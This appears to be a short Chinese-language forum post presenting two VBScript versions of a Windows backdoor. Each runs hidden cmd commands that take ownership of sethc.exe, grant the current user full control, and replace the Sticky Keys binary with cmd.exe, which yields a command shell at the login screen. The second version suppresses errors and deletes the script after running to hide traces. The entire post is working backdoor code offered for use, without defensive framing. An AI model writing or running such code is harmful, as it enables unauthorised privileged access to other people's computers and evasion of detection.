有意思的后门...

Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%/system32/sethc.exe", 0, True)
success = obj.run("cmd /c echo y| cacls %SystemRoot%/system32/sethc.exe /G %USERNAME%:F", 0, True)
success = obj.run("cmd /c copy %SystemRoot%/system32/cmd.exe %SystemRoot%/system32/acmd.exe", 0, True)
success = obj.run("cmd /c copy %SystemRoot%/system32/sethc.exe %SystemRoot%/system32/asethc.exe", 0, True)
success = obj.run("cmd /c del %SystemRoot%/system32/sethc.exe", 0, True)
success = obj.run("cmd /c ren %SystemRoot%/system32/acmd.exe sethc.exe", 0, True) 

再更新.加个自删除,简化代码...
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%/system32/sethc.exe&echo y| cacls %SystemRoot%/system32/sethc.exe /G %USERNAME%:F&copy %SystemRoot%/system32/cmd.exe %SystemRoot%/system32/acmd.exe&copy %SystemRoot%/system32/sethc.exe %SystemRoot%/system32/asethc.exe&del %SystemRoot%/system32/sethc.exe&ren %SystemRoot%/system32/acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)